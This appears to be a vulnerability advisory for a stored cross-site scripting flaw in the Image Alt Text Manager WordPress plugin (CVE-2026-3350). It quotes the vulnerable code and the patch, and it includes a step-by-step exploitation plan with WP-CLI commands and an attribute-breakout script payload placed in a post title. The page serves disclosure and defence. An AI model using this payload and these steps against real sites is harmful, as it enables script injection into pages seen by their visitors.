Image Alt Text Manager <= 1.8.2 - Authenticated (Author+) Stored Cross-Site Scripting via Post Title
Description
The Image Alt Text Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the post title in all versions up to, and including, 1.8.2. This is due to insufficient input sanitization and output escaping when dynamically generating image alt and title attributes using a DOM parser. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.8.3
Source Code
WordPress.org SVN# Research Plan: CVE-2026-3350 - Stored XSS via Post Title ## 1. Vulnerability Summary The **Image Alt Text Manager** plugin (up to 1.8.2) is vulnerable to Stored Cross-Site Scripting (XSS). The plugin dynamically generates `alt` and `title` attributes for `<img>` tags by parsing the page's HTML co…
Show full research plan
Research Plan: CVE-2026-3350 - Stored XSS via Post Title
1. Vulnerability Summary
The Image Alt Text Manager plugin (up to 1.8.2) is vulnerable to Stored Cross-Site Scripting (XSS). The plugin dynamically generates alt and title attributes for <img> tags by parsing the page's HTML content using the simple_html_dom library. During this process, it retrieves the current Post Title and injects it directly into image attributes without proper sanitization or escaping. Because the simple_html_dom library's setAttribute method does not automatically handle attribute breakout characters (like "), an attacker with Author-level privileges can craft a Post Title that breaks out of the alt or title attribute and executes arbitrary JavaScript.
2. Attack Vector Analysis
- Endpoint: Frontend post viewing (e.g.,
/?p=ID). - Hook:
template_redirect(specifically callingalm_init). - Vulnerable Parameter: Post Title (
post_titlein thewp_poststable). - Authentication Level: Author or above (required to create or edit posts and set titles).
- Preconditions:
- The plugin must be configured to use "Post Title" for either image
altortitleattributes. - The target page/post must contain at least one
<img>tag for the DOM parser to process.
- The plugin must be configured to use "Post Title" for either image
3. Code Flow
- Entry Point: A user requests a single post page.
- Hook Execution:
inc/alm-empty-generator.phpregistersalm_initon thetemplate_redirecthook atPHP_INT_MAX. - Output Buffering:
alm_init()starts an output buffer usingob_start( 'get_content' ). - Filter Application: The
get_content()function applies thealm_outputfilter, which is handled byalm_generator($alm_data_generator). - DOM Parsing:
alm_generatorparses the entire page HTML usingstr_get_html( $alm_data_generator ). - Data Retrieval: The code identifies
<img>tags and populates an$optionsarray:// inc/alm-empty-generator.php $options = [ // ... 'Post Title' => get_post_field( 'post_title', $ID ), // ... ]; - Vulnerable Sink: The plugin checks settings (e.g.,
post_images_alt). If "Post Title" is selected, it retrieves the raw title and sets the attribute:// inc/alm-empty-generator.php foreach ( alm_get_option( 'post_images_alt' ) as $option ) { if ( array_key_exists( $option, $options ) ) { $alt .= $options[$option]; // Raw post title is appended } } // ... $img->setAttribute( 'alt', $alt ); // Sink: simple_html_dom doesn't escape quotes - Output: The modified HTML is returned via
$html->save()and rendered in the browser.
4. Nonce Acquisition Strategy
This vulnerability does not require a plugin-specific nonce to exploit. The "storage" phase uses the standard WordPress post creation/editing interface (which uses core nonces handled by the browser). The "execution" phase is triggered by a simple GET request to the public-facing post.
5. Exploitation Strategy
The goal is to demonstrate that an Author can inject a payload into a Post Title that executes when any user views the post.
Step 1: Configure Plugin (Admin)
The plugin needs to be told to use the "Post Title" for image attributes. This is usually the default or a common configuration.
- Update option
post_images_altto includePost Title. - Update option
only_empty_images_alttodisabled(to ensure it processes all images).
Step 2: Inject Payload (Author)
Create a post with a title designed to break out of the alt="..." attribute.
- Payload:
"><script>alert(document.domain)</script> - Content: Must include an
<img>tag so the plugin has a target for the attribute injection.
Step 3: Trigger Execution (Guest/Victim)
Navigate to the post URL as an unauthenticated user.
6. Test Data Setup
Perform the following via WP-CLI before the exploit:
# 1. Create an Author user
wp user create attacker attacker@example.com --role=author --user_pass=password123
# 2. Configure the plugin to use Post Title for Alt Text (As Admin)
# Note: Options in this plugin are stored as 'post_images_alt'
wp option update post_images_alt '["Post Title"]' --format=json
wp option update only_empty_images_alt 'disabled'
# 3. Create a post with the payload as the Author
# The image in content is essential for the plugin to run its logic
wp post create \
--post_type=post \
--post_author=$(wp user get attacker --field=ID) \
--post_title='"><script>alert(document.domain)</script>' \
--post_content='Check out this image: <img src="https://example.com/test.jpg" class="test-img">' \
--post_status=publish
7. Expected Results
- The plugin will process the post page.
- It will find the
<img>tag. - It will fetch the post title:
"><script>alert(document.domain)</script>. - It will set the
altattribute of the image. - The resulting HTML rendered to the browser will be:
<img src="https://example.com/test.jpg" class="test-img" alt=""><script>alert(document.domain)</script>"> - The browser will execute the
<script>block and show an alert.
8. Verification Steps
After using the http_request tool to visit the post, verify the output:
- Response Body Check: Look for the literal string
<script>alert(document.domain)</script>outside of an attribute context. - DOM Check: Use
browser_evalto check if the script executed or if the DOM reflects the breakout:browser_eval("document.querySelector('img.test-img').getAttribute('alt')") // This should return "" (empty) because the browser terminates the attribute at the first "
9. Alternative Approaches
If the plugin is configured to only generate attributes for featured images or specific classes:
- Featured Image: Assign an attachment to the post as the featured image using
wp post term set <ID> <thumbnail_id>. - Title Attribute: If
post_images_altis patched or filtered, try thepost_images_titlesetting, which follows the same vulnerable code path inalm_generator. - Logic in
inc/alm-functions.php: The plugin also uses thewp_get_attachment_image_attributesfilter. If the DOM parser intemplate_redirectfails, images rendered viathe_post_thumbnail()might still be vulnerable via the code ininc/alm-functions.php:// inc/alm-functions.php function alm_image_attributes( $attr, $attachment ) { // ... $options['Post Title'] = get_post_field( 'post_title', $ID ); // ... $attr['alt'] = $alt; // This is returned to WordPress core and echoed in HTML }
Summary
The Image Alt Text Manager plugin is vulnerable to Stored Cross-Site Scripting (XSS) via the post title because it fails to sanitize or escape content before injecting it into image alt and title attributes. Authenticated attackers with Author-level permissions can create posts with malicious titles that execute arbitrary JavaScript when viewed by any visitor.
Vulnerable Code
// inc/alm-empty-generator.php (approx lines 145-151) $options = [ 'Site Name' => get_bloginfo( 'name' ), 'Site Description' => get_bloginfo( 'description' ), 'Page Title' => get_the_title( $ID ), 'Post Title' => get_post_field( 'post_title', $ID ), 'Product Title' => get_post_field( 'post_title', $ID ), ]; // ... later in the same file (approx lines 194-200) if ( 'enabled' === $generate_empty_alt && empty( $img->getAttribute( 'alt' ) ) ) { $img->setAttribute( 'alt', $alt ); } elseif ( 'enabled' === $generate_empty_alt && !empty( $img->getAttribute( 'alt' ) ) ) { $img->setAttribute( 'alt', $img->getAttribute( 'alt' ) ); } else { $img->setAttribute( 'alt', $alt ); } --- // inc/alm-functions.php (approx lines 33-39) $options = [ 'Site Name' => get_bloginfo( 'name' ), 'Site Description' => get_bloginfo( 'description' ), 'Page Title' => get_the_title( $ID ), 'Post Title' => get_post_field( 'post_title', $ID ), 'Product Title' => get_post_field( 'post_title', $ID ), ]; // ... later in the same file (approx lines 67-73) if ( 'enabled' === $generate_empty_alt && empty( $attr['alt'] ) ) { $attr['alt'] = $alt; } elseif ( 'enabled' === $generate_empty_alt && !empty( $attr['alt'] ) ) { $attr['alt'] = $attr['alt']; } else { $attr['alt'] = $alt; }
Security Fix
@@ -144,11 +144,11 @@ if ( !$is_featured && $img->getAttribute( 'class' ) !== 'wpml-ls-flag' && !($has_alt && $has_title) ) { // options $options = [ - 'Site Name' => get_bloginfo( 'name' ), - 'Site Description' => get_bloginfo( 'description' ), - 'Page Title' => get_the_title( $ID ), - 'Post Title' => get_post_field( 'post_title', $ID ), - 'Product Title' => get_post_field( 'post_title', $ID ), + 'Site Name' => sanitize_text_field( get_bloginfo( 'name' ) ), + 'Site Description' => sanitize_text_field( get_bloginfo( 'description' ) ), + 'Page Title' => sanitize_text_field( get_the_title( $ID ) ), + 'Post Title' => sanitize_text_field( get_post_field( 'post_title', $ID ) ), + 'Product Title' => sanitize_text_field( get_post_field( 'post_title', $ID ) ), ]; @@ -191,11 +191,11 @@ //Empty alt option if ( 'enabled' === $generate_empty_alt && empty( $img->getAttribute( 'alt' ) ) ) { - $img->setAttribute( 'alt', $alt ); + $img->setAttribute( 'alt', esc_attr( $alt ) ); } elseif ( 'enabled' === $generate_empty_alt && !empty( $img->getAttribute( 'alt' ) ) ) { - $img->setAttribute( 'alt', $img->getAttribute( 'alt' ) ); + $img->setAttribute( 'alt', esc_attr( $img->getAttribute( 'alt' ) ) ); } else { - $img->setAttribute( 'alt', $alt ); + $img->setAttribute( 'alt', esc_attr( $alt ) ); }
Exploit Outline
The exploit targets the dynamic generation of image attributes on the frontend. 1. Authentication: The attacker needs at least Author-level access to create or edit posts. 2. Plugin Configuration: The plugin must be active and configured to use 'Post Title' for image alt or title attributes (this is often the default or a common configuration). 3. Payload: The attacker creates a new post and sets the 'Post Title' to a breakout payload, such as `"><script>alert(document.domain)</script>`. The post content must include at least one `<img>` tag. 4. Trigger: When any user (including an unauthenticated guest) views the post, the plugin's output buffer handler (`alm_init`) parses the HTML. It retrieves the malicious post title and injects it into the image's attributes using `setAttribute`. 5. Execution: Because the payload contains double quotes and the plugin does not escape them, the `alt` attribute is terminated early, allowing the `<script>` tag to be rendered as a separate element in the DOM and executed by the browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.